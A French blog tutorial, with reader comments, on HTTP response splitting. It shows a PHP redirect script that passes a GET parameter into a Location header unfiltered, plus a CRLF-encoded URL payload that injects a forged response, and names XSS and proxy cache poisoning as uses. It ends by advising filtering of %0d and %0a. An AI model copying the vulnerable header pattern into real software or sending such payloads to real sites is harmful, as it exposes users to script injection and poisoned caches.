Bien le bonjour
Pour vous présenter cette technique somme toute assez méconnue, je vous propose de vous faire un min-rappel sur le protocole HTTP, ou plutôt sur ce qui se passe lorsque votre naviguateur va sur le site www.exemple.com .
Si vous entrez “http://www.exemple.com” dans votre navigateur préféré ( au hasard Internet Explorer 5 ), la requête envoyée au serveur sera la suivante ( je simplifie ici énormément la requête ):
GET / HTTP/1.1 Host: www.exemple.com
Avec les caractères de retour chariot ( \r ) et de saut de ligne ( \n ), celà donne :
GET / HTTP/1.1\r\n Host: www.exemple.com\r\n\r\n
Maintenant, regardons une requête un peu plus complète ( demande d’affichage de la page http://localhost/http_splitting.php ) :
GET /http_splitting.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive
Et la réponse du serveur:
HTTP/1.x 200 OK Date: Sun, 02 Nov 2008 10:55:25 GMT Server: Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h mod_autoindex_color PHP/5.2.6 X-Powered-By: PHP/5.2.6 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html
Maintenant, intéressons nous à un script de redirection. La page http_splitting.php a pour code source :
<?php if($_GET['page']) header("location:".$_GET['page']) ; ?>
Si nous demandons la page http://localhost/http_splitting.php?page=index.php, la requête sera :
GET /http_splitting.php?page=index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive
Et la réponse serveur :
HTTP/1.x 302 Found Date: Sun, 02 Nov 2008 10:59:44 GMT Server: Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h mod_autoindex_color PHP/5.2.6 X-Powered-By: PHP/5.2.6 Location: index.php [=> Notre argument page=index.php ] Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html
Ce retour serveur qui conduit le naviguateur à exécuter la requête suivante :
GET /index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive
Bon, et maintenant, rentrons dans le vif du sujet
.
Il est possible, à l’aide d’une URL “malicieuse”, disons plutôt spécialement formée, d’interféré et de modifier la réponse HTTP du serveur. Je m’explique :
Comme vous l’avez remarqué, lorsque j’appelle http_splitting.php?page=index.php , le retour serveur contient Location: index.php\r\n .
Maintenant, je vais demandé l’URL suivante :
http_splitting.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%test%3C/html%3E
%0d = \r, %0a = \n
Cette même requête écrite plus clairement :
http_splitting.php?page=
Content-type: text/html HTTP/1.1 200 OK Content-Type: text/html <html>test</html>
Que va-t-il se passé si l’on entre cette URL dans le naviguateur ?
La requête sera donc :
GET /http_splitting.php?page=http_splitting.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%test%3C/html%3E HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive
Et la réponse serveur, qui contiendra notre retour falsifié :
HTTP/1.x 302 Found Date: Sun, 02 Nov 2008 10:59:44 GMT Server: Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h mod_autoindex_color PHP/5.2.6 X-Powered-By: PHP/5.2.6 Location: Content-type: text/html HTTP/1.1 200 OK Content-Type: text/html <html>test</html> Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html
Et donc, ce que nous verrons : <html>test</html> !
Les applications de ce principe sont multiples, car falsifié une réponse serveur permet par exemple de modifier la date de cache-control, de dernière édition de la page, d’intégré un code Javascript mesquin, …
Je ne peux que donc vous recommander de filtrer les %0d et autres %0a
.
En espérant que cet article vous aura permis d’apprendre de nouvelles choses,
Bonne journey :]
salut!
j’ai bien saisis le principe de manipulation de la réponse du serveur mais je ne vois pas en quoi cela peut être utiliser pour modifier quoi que ce soit pour les autres utilisateurs
Peu tu détailler les applications de ce principe ?
merci
Eh bien, à l’aide d’une url, dans un e-mail par exemple ou lors d’une conversation instantanée, il va être possible de mené des attaques de type XSS ( Cross Site Scripting ), de cache-poisonning ( le proxy mettre en cache la version falsifié de la page, donc toutes les futurs demandeurs de cette page verront la page falsifié ! ) et des attaques à l’encontre des autres utilisateurs du proxy ( lorsque les requêtes sont mutualisé, il va etre possible de modifié le retour de la page pour tout les utilisateurs la demandant simultanément ! ).
Mais il faut bien garder à l’esprit que cette attaque, ou vecteur d’attaque, selon comme on le conçoit, est très peu répandu, et finalement assez difficilement réalisable.
Néanmoins, je vous recommande de bien penser à filtrer les caractères unicodes cités ci-dessus